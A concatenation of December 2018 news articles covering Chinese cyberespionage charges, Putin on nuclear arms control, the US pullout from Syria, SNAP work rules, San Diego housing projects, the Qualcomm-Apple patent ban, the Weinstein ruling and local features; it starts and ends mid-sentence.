Chinese intelligence officials and hackers. A case filed in October marked the first time that a Chinese Ministry of State Security officer was extradited to the United States to stand trial. Chinese espionage efforts have become "the most severe counterintelligence threat facing our country today," Bill Priestap, the assistant director of the FBI's counterintelligence division, told the Senate committee. As the U.S. was announcing its charges Thursday, the British government accused China of conducting a "widespread and significant" campaign of cyberespionage against the U.K. and its allies. The Foreign Office said a group known as APT 10 the same one cited by the U.S. carried out "a malicious cyber campaign targeting intellectual property and sensitive commercial data in Europe, Asia and the U.S." It said the group "almost certainly continues to target a range of global companies, seeking to gain access to commercial secrets." Hacking by Chinese state-backed hackers dramatically escalated over the summer in response to the trade war with the U.S. and military tensions in the South China Sea, said Tom Kellermann, chief cybersecurity officer of Carbon Black, whose company's threat-hunting tool is used in global cyber investigations. He credited the Justice Department with targeting a group that he said was China's "most prolific hacker crew." He said he was not optimistic that the pair would be prosecuted in the U.S., but that's not the point. "The Chinese are operating on a 50-year plan of information dominance, a comprehensive national strategy, and it's high time we actually reacted," Kellermann said. MOSCOW (AP) The world is facing a rising threat of a nuclear war because of the U.S. pullout from arms control treaties and its destabilizing military plans, Russian President Vladimir Putin said Thursday Speaking at his annual news conference, Putin warned that "it could lead to the destruction. of civilization as a whole and maybe even our planet." The Russian leader added that even though a nuclear conflict now seems impossible to most, the danger is close and real. "We are witnessing the breakup of the arms control system," he said. He pointed at Washington's intention to walk away from the 1987 Intermediate-Range Nuclear Forces Treaty and its reluctance to negotiate the extension of the 2010 New START agreement. U.S. officials say the withdrawal from the INF was prompted by Russian violations of the treaty, but Moscow vehemently denies any breaches. "We will have to ensure our security," Putin said during the news conference that lasted nearly four hours. "And they shouldn't squeak later about us gaining unilateral advantages. We aren't seeking advantages, we are trying to preserve the balance and ensure our security." The Russian leader also scoffed at Western allegations that he is reaching for global domination, rejecting them as part of a smear campaign driven by domestic policy. "As for ruling the world, we know where the headquarters trying to do that are located, and the place isn't Moscow," he said, noting that the Pentagon's annual budget of over $700 billion dwarfs Russia's defense spending of $46 billion. He dismissed claims that Russia is interfering abroad, from a nerve agent poisoning in Britain to an alleged effort to infiltrate the U.S. National Rifle Association, charging that those accusations are part of U.S.-led efforts to paint Russia as a bugaboo to strengthen the Western allies' unity. "They need an external threat to cement NATO unity," Putin said, accusing the U.S. and its allies of exploiting "phobias of the past" to achieve domestic political goals. Russia's hopes for repairing ties with the U.S. under President Donald Trump have fizzled amid allegations of Russian meddling in the 2016 election charges Putin has denied. He noted that he's still keeping the door open for a meeting with Trump, but added that the prospect for that looks increasingly dim in view of the Democrats winning control of the House. "You can predict new attacks on the president with 100-percent probability," Putin said. "I don't know if he could engage in a direct dialogue with Russia in such conditions." He charged that that the continuing U.S. political infighting reflects a "lack of respect for voters" who elected Trump. "They don't want to acknowledge his victory and do everything to delegitimize the president," Putin added. He insisted that a Russian woman in U.S. custody has not carried out any mission for the Russian government, even though she pleaded guilty earlier this month to acting as a covert agent of the government. Putin claimed that Maria Butina accused of trying to infiltrate the NRA and American conservative circles around the time of Trump's election made the guilty plea because of the threat of a long prison sentence in the case, which Putin described as fabricated. Amid a litany of complaints over Washington's policies, Putin had one nice thing to say about the United States: He welcomed Trump's decision to withdraw the U.S. military from Syria. The U.S. "has done the right thing," Putin said, reaffirming the long-held Russian argument that the U.S. presence in Syria is illegitimate because it wasn't vetted by the U.N. Security Council or approved by Syrian President Bashar Assad's government. The pullout is also likely to strengthen Russia's role in Syria's future. He showed no sign of backing down from Russia's stance on Ukraine, accusing his Ukrainian counterpart of provoking a naval standoff with Russia to boost his electoral prospects. The Russian coast guard fired upon and seized three Ukrainian naval vessels and 24 seamen when they tried to sail from the Black Sea into the Sea of Azov in what the U.S. and its NATO allies condemned as unjustified use of force by Russia. Turning to nuclear weapons, Putin warned that if the U.S. puts intermediate-range missiles in Europe after its planned exit from the INF Treaty banning them, Russia will be forced to take countermeasures. He noted that the U.S. also appears to show little interest in extending the New START nuclear arms reduction treaty, which expires in 2021. "You aren't interested? You don't need it? OK, we will survive," he said. "We will ensure our security; we know how to do it. But it will be very bad for the whole of humankind, because it would take us to a very dangerous area." The Russian president pointed at Western defense analysts discussing the possibility of using low-yield nuclear weapons, warning that its authors naively believe in a limited conflict involving smaller weapons. "Lowering the threshold could lead to a global nuclear catastrophe," he said. Putin also emphasized that the U.S. pondering the use of ballistic missiles with conventional warheads represents another deadly threat. He argued that the launch of such a missile could be mistaken for the launch of a nuclear-tipped one and trigger a nuclear retaliation. "Imagine a submarine firing a ballistic missile: How on Earth should we figure out whether it's nuclear or not?" he said. "It's extremely dangerous." BEIRUT (AP) The United States' main ally in Syria on Thursday categorically rejected President Donald Trump's claim that Islamic State group militants have been defeated, saying a premature U.S. pullout would have dangerous repercussions, including a resurgence of the extremists and a destabilizing effect on the entire region. Trump's surprise decision to withdraw all U.S. forces was welcomed by Russian President Vladimir Putin, who said he agreed with Trump's assessment, adding that U.S. forces should not have been in Syria from the start. The Kurdish-led Syrian Democratic Forces said in a strongly worded statement laced with bitterness that the fight against IS was at a "decisive" stage that requires even more support from the U.S.-led coalition. "The war against terrorism has not ended and (the Islamic State group) has not been defeated," the statement said. Trump's decision to withdraw troops from Syria has rattled Washington's Kurdish allies, who are its most reliable partner in the country and among the most effective ground forces battling IS. With U.S. air support, the Kurds drove IS from much of northern and eastern Syria in a costly four-year campaign. The announcement of a pullout was widely seen as an abandonment of a loyal ally. "The decision to pull out under these circumstances will lead to a state of instability and create a political and military void in the region and leave its people between the claws of enemy forces," the SDF statement said. Kurdish officials and commanders met into the night, discussing their response to the decision, local residents said Thursday. A war monitor said among the options seriously discussed was releasing thousands of Islamic State militants and their families from various nationalities who are being detained in prisons and camps run by the Kurdish force. It was not clear whether any decision was made, and SDF commanders were not immediately available for comment. The U.S. announcement came at a particularly tense moment in northern Syria. Turkish President Recep Tayyip Erdogan has repeatedly threatened to launch a new offensive against the Kurds but in recent days had stepped up the rhetoric, threatening an assault could begin "at any moment." Turkey views the People's Protection Units, or YPG, the main component of the Syrian Democratic Forces, as a terrorist group and an extension of the insurgency within its borders. U.S. support for the group has strained ties between the two NATO allies. Arin Sheikhmos, a Kurdish journalist and commentator, said "we have every right to be afraid." "If the Americans pull out and leave us to the Turks or the (Syrian) regime our destiny will be like the Kurds of Iraqi Kurdistan in 1991 million of refugees, there will be massacres. Neither the regime, not Iran nor Turkey, will accept our presence here," he said. In northeastern Syria, Kurdish fighters have been digging trenches and defensive tunnels, preparing for the threatened Turkish offensive. Turkish tanks and armored vehicles are deployed on the border, with thousands of allied Arab Syrian fighters mobilized to join in the attack. The threat from Turkey could drive the Kurds into the arms of Syrian President Bashar Assad, and by extension his backers, Russia and Iran. Russia has waged an air campaign in Syria since September 2015, changing the course of the war in Assad's favor and helping his forces reclaim control over most of the country's territory. In new tweets, Trump on Thursday defended his decision, saying it should be "no surprise." He claimed that Russia, Iran and Syria "are not happy about the U.S. leaving, despite what the Fake News says, because now they will have to fight ISIS and others, who they hate, without us." The contention contradicts predictions that the Syrian government and its allies would attempt to fill the void created by the withdrawal of U.S. troops. Shortly before Trump began tweeting, Russia's Putin welcomed the decision to withdraw U.S. forces from Syria, saying he agreed with Trump that the defeat of the Islamic State group removes the need for the U.S. military presence. Russia has long held that the U.S. presence in Syria is illegitimate because it hasn't been vetted by the U.N. Security Council or approved by the Syrian government. Israeli Prime Minister Benjamin Netanyahu also weighed in, saying Israel will "intensify" its activity in Syria to prevent Iranian entrenchment following the withdrawal of American forces. A Syrian member of parliament, Peter Marjana, said Thursday that a U.S. pullout would be a "recognition that Syria has won." He spoke in comments published by the Syrian daily Al-Watan. Ebrahim Ebrahim, a Syrian Kurd based in Europe, said of the pullout: "It is not just treason to the Kurds or the people of Syria but to democracy, to morals. ... Yes, true, we fought for ourselves, but we also fought for democracies all over the world." Trump's contention that IS has been defeated contradicted his own experts' assessments and shocked his party's lawmakers, who called his decision rash and dangerous. Earlier this month, Kurdish fighters entered Hajin, the last IS enclave in Syria, but battles continues. Government forces and allied Iranian militiamen are present on the other side of the Euphrates River. The U.S. began airstrikes against IS in Syria in 2014 and later sent in ground troops to aid Kurdish forces. Trump abruptly declared their mission accomplished in a tweet Wednesday. The Trump administration is setting out to do what this years farm bill didnt: tighten work requirements for millions of Americans who receive federal food assistance. The U.S. Department of Agriculture on Thursday proposed a rule that would restrict the ability of states to exempt work-eligible adults from having to obtain steady employment to receive food stamps. The move comes the same day that President Donald Trump signed an $867 billion farm bill that reauthorized agriculture and conservation programs while leaving the Supplemental Nutrition Assistance Program, which serves roughly 40 million Americans, virtually untouched. Passage of the farm bill followed months of tense negotiations over House efforts to significantly tighten work requirements and the Senates refusal to accept the provisions. Advertisement Currently, able-bodied adults ages 18-49 without children are required to work 20 hours a week to maintain their SNAP benefits. The House bill would have raised the age of recipients subject to work requirements from 49 to 59 and required parents with children older than 6 to work or participate in job training. The House measure also sought to limit circumstances under which families that qualify for other poverty programs can automatically be eligible for SNAP. None of those measures made it into the final farm bill despite Trumps endorsement. Now the administration is using regulatory rulemaking to try to scale back the SNAP program. Work-eligible able-bodied adults without dependents, known as ABAWDs, can currently receive only three months of SNAP benefits in a three-year period if they dont meet the 20-hour work requirement. But states with an unemployment rate of 10 percent or higher or a demonstrable lack of sufficient jobs can waive those limitations. States are also allowed to grant benefit extensions for 15 percent of their work-eligible adult population without a waiver. If a state doesnt use its 15 percent, it can bank the exemptions to distribute later, creating what Agriculture Secretary Sonny Perdue referred to as a stockpile. The USDAs proposed rule would strip states ability to issue waivers unless a city or county has an unemployment rate of 7 percent or higher. The waivers would be good for one year and would require the governor to support the request. States would no longer be able to bank their 15 percent exemptions. The new rule also would forbid states from granting waivers for geographic areas larger than a specific jurisdiction. Perdue said the proposed rule is a tradeoff for Trumps support of the farm bill, which Trump signed Thursday. I have directed Secretary Perdue to use his authority to close work requirement loopholes in the food stamp program, Trump said at the signing ceremony. That was a difficult thing to get done, but the farmers wanted it done, we all wanted it done, and in the end, its going to make a lot of people happy. Democratic House leader Nancy Pelosi on Thursday slammed the Trump administrations efforts to restrict SNAP. Why at Christmas would you take food out of the mouths of American people? she said. The USDA in February solicited public comment on ways to reform SNAP, and Perdue has repeatedly voiced support for scaling back the program. The Trump administrations effort, while celebrated by some conservatives, has been met with criticism from advocates who say tightening restrictions will result in more vulnerable Americans, including children, going hungry. A Brookings Institution study published this summer said more stringent work requirements are likely to hurt those who are already part of the workforce but whose employment is sporadic. House Agriculture Chairman Michael Conaway, R-Texas, was the primary champion for tighter SNAP work requirements in the House farm bill and remained committed to the provision throughout negotiations. Conaway praised the rule Thursday for creating a roadmap for states to more effectively engage ABAWDs in this booming economy. Conaway in September blasted the Senate for refusing to adopt work requirements and suggested that Perdue doesnt have the authority to make broad changes to the SNAP program. The Senate seems to have abandoned the idea that it is Congress responsibility to fix the waiver issue and that somehow Secretary Perdue could wave a magic wand and fix that. Its not his responsibility; he does not have the authority, Conaway said in an interview with Pro Farmer, a trade publication. On Thursday, Conaway spokeswoman Rachel Millard said the congressman was referring to Perdues authority to change laws, which he does not have, not the secretarys ability to pursue regulatory action. She said Conaway continues to support Perdues efforts to limit SNAP. The top Democrat on the Senate Agriculture Committee, Debbie Stabenow of Michigan, who along with its Republican chairman, Sen. Pat Roberts of Kansas, crafted the bipartisan Senate bill without any changes to SNAP, blasted the Trump administration for its attempt to restrict the program. This regulation blatantly ignores the bipartisan farm bill that the president is signing today and disregards over 20 years of history giving states flexibility to request waivers based on local job conditions, Stabenow said. I expect the rule will face significant opposition and legal challenges. Follow @ChiTribBusiness on Facebook and @ChiTribBiz on Twitter. MORE COVERAGE Some food stamp recipients may soon lose access to farmers market benefits Food stamp benefits disrupted for thousands as state launches new eligibility system Why food stamp fraud is fairly rampant at corner stores in some Chicago neighborhoods A 36-story apartment building with nearly 400 apartments is coming to Little Italy. Civic San Diego, downtowns planning agency, Wednesday unanimously approved the complex at the intersection of Union and Ash streets. At around 400 feet, the building will be one of the tallest residential towers in the city. It will also have the most apartments in one complex for downtown at 395 units. Amenities include a gym, outdoor pet area, 16,600 square feet of common outdoor space, sky deck and rooftop pool. Construction is set to begin by the end of 2019. Dallas-based developers Trammell Crow Residential plan for 403 parking spaces in three underground levels and four above-grade levels. It is estimated the project will create 404 construction jobs and eight permanent jobs. Trammell Crow declined to give a cost estimate of the project. Advertisement Jessica Cassolato, development associate at Trammell Crow, said the company is pleased to have another Alexan brand tower downtown. Its other downtown building, Alexan ALX, opened in early 2018. We are really excited to bring our signature building to San Diego, she said. The project site is at 232 West Ash Street, a single-story commercial building occupied by charter school IDEATE High Academy and office space. The project will include 32 subsidized units for low-income renters. The proposed building was designed by Joseph Wong Design Associates (Civic San Diego) The project also plans 70 studios (average 572 square feet), 223 one bedrooms (average 730 square feet), 97 two bedrooms (average 1,088 square feet) and five three-bedroom apartments (average 1,525 square feet). No commercial space is proposed for street level. Instead plans call for tenant services such as a business center, lounge, speakeasy-style bar and bike storage. Design for the building comes from San Diego-based Joseph Wong Design Associates, which said the project will strive for sustainability across all spectrums, including economic vitality, environment, and social and cultural vibrancy. Proposed tower in Little Italy would have nearly 400 apartments. (Civic San Diego) Civic San Diego also reviewed two other residential projects: 13th and Broadway A $140 million subsidized housing project at 13th Street and Broadway in East Village that would include 273 apartments for low-income renters was unanimously approved and sent to the city council. The Chelsea Investment Corp.s 14-story building will have 65 parking spaces, which is less than the number of units allowed because of waivers for low-income housing. Approval was nearly sidetracked by roughly 45 members of the Southwest Regional Council of Carpenters who used public comments to allege Chelsea had a history of hiring out-of-town laborers. While some directors said they sympathized with workers, they noted it was only a design hearing on the project and beyond the scope of the agency to stop the project based on labor issues. The Chelsea representative at the meeting, project manager Steven Blanden, was unable to answer many of the boards questions, saying some decisions were above (his) pay grade. When asked by a director if past labor concerns on other projects had been addressed, Blanden said he didnt know. However, he later said his understanding was that the company does local outreach to hire workers and pays prevailing wage. The board sent the project on to the city council with the caveat Chelsea meets with the union for review in January or February. Jefferson Makers Quarter A roughly $180 million project that didnt go over well with Civic San Diegos design committee in September was back in front of the entire board, and this time it was approved. The committee said the original JPI project did not contain enough housing because it took up an entire city block in East Village. The site could hold more than 900 apartments but JPI was proposing 318. Also, the original plan included no subsidized housing in the building. The site is 12,000-square-feet and is a full block bounded by Broadway, 15th, 16th and E streets. A new proposal from JPI added an extra story to the project and 50 more apartments, as well as 19 subsidized apartments for low-income renters. It also includes 425 parking spots in 3 floors of underground parking. The project got letters of support from the East Village Association, Downtown San Diego Partnership and San Diego Chief of Police David Nisleit. Director Michael Jenkins was the only member of the board to vote against the project because he said it did not have enough apartments for the site. This is a lost opportunity, he said. This is a full block and going to higher density could make a significant difference. Chairman Phil Rath, who also said he was upset with the number of apartments, argued the JPI project falls within the minimums allowed in the community plan for density and should be approved. He suggested the law be changed to increase density before the board starts denying projects that are within the set range. Business phillip.molnar@sduniontribune.com (619) 293-1891 Twitter: @phillipmolnar ALSO San Diegos new single-family homes are pricey, modern and in short supply Tijuana condo craze continues in to 2018 Last years housing market broke records A German court found Thursday that iPhone 7 through iPhone X models infringe on one Qualcomm hardware patent and ordered Apple to stop selling the phones in Germany. Apple has pulled the smartphone models from the shelves of its 15 company-owned retail stores in the country, according to a spokesman. They remain for sale at wireless carriers and 4,300 third-party retail stores for now, according to Apple. But the court order requires Apple to stop selling infringing iPhones at all outlets in Germany, as well as make an effort to get back unsold retail inventory, said Marcus Grosch, a lawyer with Quinn Emanuel Urquhart & Sullivan who represents Qualcomm in the case. Advertisement The order takes effect once Qualcomm posts two bonds covering potential damages to Apple if the patent infringement ruling is overturned on appeal. Qualcomm said it would post the bonds, which are expected to total $1.5 billion, in the next several days. Newer iPhone XS, iPhone XS Max and iPhone XR models are not included in the sales ban. They werent part of Qualcomms patent infringement lawsuit, filed in 2017, because they werent on the market yet. But Qualcomm could seek to add these new iPhones to the sales ban if it determines that they infringe on its low-power envelope tracking patent. We are of course disappointed by this verdict and we plan to appeal, Apple said in a statement. Qualcomms campaign is a desperate attempt to distract from the real issues between our companies. Qualcomm insists on charging exorbitant fees based on work they didnt do and they are being investigated by governments all around the world for their behavior. The German courts infringement finding comes after a Chinese provincial court earlier this month ordered Apple to stop selling iPhone 6 through iPhone X models for infringing on two Qualcomm patents. Two respected courts in two different jurisdictions just in the past two weeks have now confirmed the value of Qualcomms patents and declared Apple an infringer, ordering a ban on iPhones in the important markets of Germany and China, said Don Rosenberg, Qualcomms general counsel, in a statement. In China, Apple reportedly updated its iPhone software to work around the Qualcomm patents and continues to sell all iPhone models there. Qualcomm believes the Chinese court ban remains in effect despite the software updates. It is working to add newer iPhone models to the ban. It applies to phones even if they have patches, even if they have new operating system installations, unless and until Apple can prove they have the burden to (the Chinese) court that these models are no longer infringing, said Rosenberg in a recent interview with Bloomberg TV. Since early 2017, Qualcomm and Apple have been waging a wide-ranging legal war over royalties that Qualcomm charges for use of its patented cellular technology. Apples Asian contract manufacturers that build iPhones stopped paying patent royalties to Qualcomm, and Apple ditched Qualcomm chips from its latest iPhone models. Qualcomm has filed patent infringement lawsuits and sought to ban the sale of certain iPhones models in the U.S., China and Germany. The District Court of Munich found Apple is infringing on a Qualcomm hardware patent related to envelope tracking, which manages how wireless signals are received in a smartphone at low power. Apples request to delay enforcement of the ruling was denied. In addition, the court granted Qualcomms request for detailed accounting of all sales, recall and destruction of iPhones in Germany that infringe on the patent. Chipmaker Qorvo supplied envelope tracking chips to iPhone 7, iPhone 8 and iPhone X models sold in Germany. A Qorvo lawyer told Reuters that U.S. trade regulators found that the company did not infringe on Qualcomms patent, and that the chips inventor was not allowed to testify at the German hearing. We believe our envelope tracking chip does not infringe the patent in suit, and the court would have come to a different conclusion if it had considered all the evidence, Mike Baker, Qorvos chief intellectual property lawyer, told Reuters in a statement. Qualcomm has filed additional infringement cases against Apple in Germany, China and the U.S. involving different patents. Those cases are pending. In the U.S., the International Trade Commission found that iPhone models with Intel modems infringe on a Qualcomm power management patent. But an administration law judge refused to ban sales of infringing iPhones because it could harm competition for top-tier cellular modem chips. The ITC announced earlier this month that it would review the administrative law judges findings including the infringement decision and whether a ban is warranted. A key court date for Qualcomm is coming in January, when the trial in the U.S. Federal Trade Commissions antitrust lawsuit against Qualcomm is slated to begin in federal court in San Jose. In addition, the main lawsuit between Apple, Qualcomm and contract manufacturers that build iPhones is scheduled for trial in April in San Diego federal court. Business mike.freeman@sduniontribune.com; Twitter:@TechDiego 760-529-4973 UPDATES: This story was updated at 1 p.m. Five years ago, Paola Richard moved to North County from her native Rome with the goal of opening the most authentic Italian-style gelato shop in the region. The result was Gaia Gelato, which Richard opened in 2015 with her cousin, Cristina Amoroso, in the Carlsbad Village Faire center. Although she was pleased with the stores success, Richard said adopting a healthy California lifestyle in recent years taught her that Italians could also learn something from Americans. Thats the story behind GelatoLove, an ambitious frozen dessert business Richard opened Tuesday in the Carlsbad Gateway Center industrial park on Palmer Way. The 2,500-square-foot headquarters is part research-and-development lab, part gelato-making factory, part retail shop and part gelato school. A sampler pack of gelato flavors at GelatoLove, which opened its first flavor lab and shop Dec. 18 in the Carlsbad Gateway Center. The companys gelatos are made with the low-calorie sugar substitute allulose, left, a natural sugar found in figs, raisins and other fruits. (Pam Kragen/San Diego Union-Tribune) Advertisement GelatoLove is still in the research-and-development stages of creating its signature product, an Italian-style gelato made with a low-calorie natural sweetener called allulose. Allulose is derived from fruits including figs, kiwi, raisins and jack fruit and has 10 percent of the calories of sucrose (cane or beet sugar). The result is a gelato product that tastes the same and has the same creamy mouth feel of traditional gelato, but with a third of the sugar calories, said Panther Wilde, a research chemist who serves as GelatoLoves ingredient scientist. Another benefit of allulose is that it isnt metabolized in the same way as sucrose so it doesnt trigger the same spikes in blood glucose levels. Its been commercially produced in South Korea since 2006 in a granular form that looks just like table sugar. Richard said she believes the resulting made-from-scratch product, which has no additives or artificial ingredients, is even more ideal than the Italian original for calorie-counting, health-conscious Californians. This is a blending of everything we know about food with the Italian tradition of gelato. We dont want to deconstruct the traditions but we think people are ready for something like this, she said. Before moving to North County in 2014, Richard was a Rome-based journalist and international media consultant for Italian ministries and environmental groups. She was successful, but longed to move to California. As a teenager, she had trained with a synchronized swimming team in San Francisco and always dreamed of returning. The best way, she realized, was to open a business here selling an Italian product she and her cousin, a trained gelato chef, knew well. In the short term, Richards goal is to test a number of recipes and flavors with customers who visit the shop at the front of the R&D space. Eventually, she would like to expand the business, opening multiple GelatoLove shops and selling the product wholesale to restaurants, bakeries, coffee houses and high-end markets. To merge old-world recipes with cutting-edge sweetener food science, Richard hired Filippo Cianciosi, a third-generation gelato chef from Italy. His grandfather opened the familys first gelato shop in 1918. Filippo Cianciosi, head chef and instructor at GelatoLove in Carlsbad, with a serving of the new companys espresso flavor gelato. GelatoLove opened its first flavor lab, factory and retail shop Dec. 18 in the Carlsbad Gateway Center. (Pam Kragen/San Diego Union-Tribune) Cianciosi ran several shops in the Italian town of Riccione, but in recent years hes traveled the world as a consultant, training chefs and business entrepreneurs in the art of gelato-making. On a vacation in the U.S. three years ago, Cianciosi met his future wife, Rachel, a nurse in Huntington Beach. Just days before their wedding last year, he got a call from Richard, who had heard about his consulting travels from a friend. She asked if hed like to come to work for her as the companys lead gelato chef. I told her, you read my mind. Ive been teaching all over the world but I wanted to be part of something bigger here, Cianciosi said. Cianciosi said he remembers learning the craft of gelato-making from his father as a little boy and over the years he has developed many trade secrets. But working with allulose was like starting over, because the ingredient doesnt have the same chemical properties of sucrose. At first it wasnt so good, he said. It was too fluffy, then it was too melty. It took a long time to get it right. Now, if you taste it you cant tell the difference from regular gelato, but it tastes super clean and healthy. Right now, Cianciosi is focused on fine-tuning flavors, which now number 12, though hes always coming up with new varieties. Hes most proud of his pistachio flavor, an old family recipe, and hes also fond of his espresso flavor. GelatoLove is priced at $4.50 for a 4.5-ounce cup, $5.75 for 6.5 ounces and $7 for 8 ounces. Its sold by the paper cup and also in reusable clear plastic screw-top tubs, which customers can bring back for refills to save a few trees, Richard said. The Carlsbad location, with two $35,000 Italian gelato-making machines, has room to grow as orders begin rolling in. But Cianciosi said it will always be an handmade, artisan affair with every container packed by hand. Eventually, Cianciosi also plans to conduct gelato-tasting and -making classes onsite. Gelato is still a big mystery to Americans, he said. I want to teach people the secrets of gelato. GelatoLove Hours: 10 a.m. to 5 p.m. Mondays-Fridays. Closed weekends. Where: 5661 Palmer Way, Suite C, Carlsbad Phone: (760) 816-8260 Online: gelato.love pam.kragen@sduniontribune.com Winners were announced today in the San Diego Public Librarys quirky short story contest so short each tale had to fit in an area the size of a matchbook cover. Thats room for about 50 words, a challenge that drew more than 180 people for the second annual Matchbook Story contest, according to Scott Ehrig-Burgess, manager of the Library Shop at the Central Library. First place went to Cristina Schaffer. Her story rose to the top because it started with an arresting sensory image and gave the reader just enough detail to prompt questions and form interesting speculative answers on the grander tale lurking under the surface, Ehrig-Burgess said. Here it is: Advertisement The smell of garlic sizzling woke me up. Mom was home. Hadnt seen her in four days. Mahjong. Sometimes she won, mostly she didnt. I dressed for school. At least I got fried rice and spam this morning. Schaffer won a $50 gift certificate to the Library Shop and gets her story printed on actual matchbooks, which will be sold in the Library Shop. She also receives 50 copies of the matchbook, publication of the story in the library newsletter and on the Library Shops website, and a temporary exhibit of her winning entry in the tiny book section of the Central Librarys Hervey Family Rare Book Room. Second place and a $25 gift certificate went to Elma Trinidad for this story: I couldnt cross you Two parallel lines onwards upwards never meeting again Marilyn Rudoff took third place and a $15 gift certificate. She wrote this: My brain cracking open in a wily fire sparks small illuminations some call art. Ehrig-Burgess said the number of entries fell this year from the inaugural contest in 2017, which drew about 225 stories. But, in general, we had a lot more solid submissions than last year so the short list of top stories was longer, he said. Stories could be in any genre. There was no word limit for an entry, which cost $5, but it had to fit on the inside cover of a matchbook, an area 1-5/16 inches wide by 1-4/16 inches high. The contest is part of the librarys larger effort to highlight the intellectual and creative achievements of area writers through a variety of events, including public readings, workshops and book discussions. john.wilkens@sduniontribune.com A New York judge declined to dismiss sexual assault charges against Harvey Weinstein Thursday, rejecting the disgraced Hollywood titans fierce push to have his indictment thrown out. Judge James Burkes ruling buoyed a prosecution that appeared on rocky ground in recent months amid a prolonged defense effort to raise doubts about the case and the police investigation. It was also welcome news for the #MeToo movement, which took off last year after numerous women accused Weinstein of wrongdoing. About a half-dozen women, including actress Marisa Tomei, showed up to court wearing t-shirts from the anti-abuse organization Times Up. Weinsteins lawyers argued the case had been irreparably tainted by a detectives alleged coaching of a potential witness and one of the accusers. They also said the grand jury that indicted Weinstein should have been shown friendly emails he exchanged with his two accusers after the alleged attacks. Advertisement But Burke ruled that Weinsteins prosecutorial misconduct claims had no basis and that prosecutors were under no obligation to give the grand jury evidence favorable to the defense. He denied Weinsteins demand for a hearing to examine the police investigation and rebuked his lawyers for what he said were speculative claims that political pressure had led to the charges. This court has found the grand jury presentation to be legally sufficient to support the charges and that the proceedings were properly conducted, Burke wrote in a six-page opinion detailing his decision. Dismissal is an exceptional remedy and only available in rare cases. Weinstein, 66, has denied all allegations of nonconsensual sex. He is free on $1 million bail and left court without commenting. His next court appearance is scheduled for March 7. Weinsteins lawyer Benjamin Brafman said he was disappointed with the ruling but remains confident the former film producer will be completely exonerated at trial, which has not been scheduled. We intend to continue to vigorously defend this case to the best of our ability, Brafman told reporters after the hearing. He said that Burkes ruling does not in any way suggest that the case against Mr. Weinstein is going to end badly. The Manhattan District Attorneys office declined to comment. Weinstein is charged with raping an unidentified female acquaintance in a hotel room in 2013 and performing a forcible sex act on a different woman in 2006. That womans lawyer, Gloria Allred, lauded Burkes ruling, telling reporters afterward: Mr. Weinstein shout have his day in court but so should the two women who are alleged to be the victims. The Associated Press does not typically identify people who say they are victims of sexual assault unless they grant permission. Images of Weinstein in handcuffs last spring were seen by many women as a cathartic moment in the #MeToo reckoning, but the case against him appeared to wobble in recent months with allegations of police misconduct and the defenses contention that they had evidence showing Weinsteins relationships with his accusers were consensual. Prosecutors dropped part of the case in October an allegation that Weinstein forced an aspiring actress to perform oral sex when evidence surfaced that Detective Nicholas DiGaudio instructed one potential witness to keep doubts about the veracity of the allegations to herself. But Burke noted in his ruling that the charge was dismissed because prosecutors determined they may not have been able to prove it, not because they thought she lied. With the rest of the case up in the air, Thursdays hearing attracted extra attention. Dozens of reporters squeezed into the courtroom alongside Tomei, actress Amber Tamblyn and other celebrities there to support the accusers, while TV cameras filled the sidewalk outside. Today, here in New York, we saw the first steps towards justice, Times Up President Lisa Borders said after the judges ruling. Frankly, we are relieved that Harvey Weinstein failed in his efforts to avoid accountability for his actions. Had Burke tossed the case, it would have been a major setback for District Attorney Cyrus Vance Jr., who faced sharp criticism for declining to pursue criminal charges when Weinstein was accused of groping an Italian model in 2015. Vance cited a lack of supporting evidence, despite a clandestine recording of Weinstein discussing the episode with the woman. Burkes ruling to move the case forward isnt necessarily bad for Weinstein, either, because his lawyers will still have an opportunity to raise doubts about the case with the jury, former New York prosecutor Adam Citron said. Weinsteins lawyers have indicated that part of their defense will include a witness who will say Weinstein and the woman accusing him of rape had been hooking up for a while. Theyve also plucked emails from his movie studios servers they say showed Weinstein had friendly, consensual relationships with both women. It doesnt mean they cant raise these claims at trial, said Citron, senior counsel with the New York firm Davidoff, Hutcher & Citron. If anything, it may help the defense given the amount of media attention. MORE COVERAGE: Insert headline of a releated story here Insert headline of a releated story here BEIJING, Dec. 20 (Xinhua) -- Chinese State Councilor and Minister of National Defense Wei Fenghe met with Deputy Defense Minister of the Russian Federation and Chief of Main Directorate for Political-Military Affairs of the Russian Armed Forces Andrey Kartapolov in Beijing Thursday. Wei spoke highly of recent exchanges and cooperation between the two militaries. "China is willing to work jointly with Russia, taking the opportunity of the 70th anniversary of diplomatic ties between the two countries next year to resolutely implement the consensus reached by the two heads of states and promote the two sides' military cooperation to continuously score new achievements," Wei said. Kartapolov said Russia would strengthen cooperation with China in the military and other fields, and keep pushing the relationship between the two countries and their militaries to a new level. The holidays are like a treasured family recipe: Take a bunch of traditions, add a hefty amount of food, combine with togetherness and season with nostalgia. Yield: A most wonderful time of year. Whether you learned to bake gingerbread cookies with your grandmother or cherish the thoughts of time spent gathered around the table, cooking and eating are integral to holiday memories here in the U.S. But what about family holiday traditions elsewhere? And what do they mean to people for whom cooking and eating are a profession? We asked five San Diego chefs from five different countries about their most memorable holiday experience or meal and how their heritage is reflected on their menus. From large raucous get-togethers to small intimate moments, Mexican pozole to Filipino adobo, here are the holiday remembrances that have had a lasting impact on these chefs and what they serve today. Chef Pietro Gallo, of Little Italys Civico 1845 and an upcoming restaurant in Bankers Hill, remembers the holidays as food-filled, family-centric times in his native Cosenza, in Italys Calabria region. (JTran Photo) Advertisement Pietro Gallo, Italy Civico 1845 Most memorable holiday experience or meal: The most memorable holiday for me was the last Christmas I spent in Italy with my family. This was six years ago, right before my brother, Dario, and I left our country to come to San Diego. Christmas, for southern Italians, is the most celebrated holiday. It is a three-day event which mainly revolves around food and sharing quality time with family. It starts on Christmas Eve where the family gathers to make snacks and in the evening prepares a seafood dinner. On Christmas Day, we also cook together all day sharing all kinds of dishes (which) are mostly meat-based dishes. On the 26th, which is Santo Stefano (Saint Stephens Day), we close the celebrations, still all together with zuppa sante, a broth that is meant to purify your stomach after the the feasts from the past two days. I have great memories about Christmas and cherish these moments. Our southern Italian families are very large. (At the) last family gathering, there were about 40 of us all together, eating delicious, traditional Christmas food, playing typical Christmas games and enjoying the time with everyone together which can usually only be had around Christmas. Ive always felt so much peace when I think back to those moments. Any and all problems seem to vanish because you are surrounded by those who love you unconditionally no matter what might be going on in your life. I feel lucky to be able to have that in my life and have such a large, loving family. Dish on the menu that captures your traditions or upbringing: The dish that reminds me of the holidays the most is called cuddruriaddri. This word is impossible to pronounce for anyone that is not from my hometown Cosenza. This dish 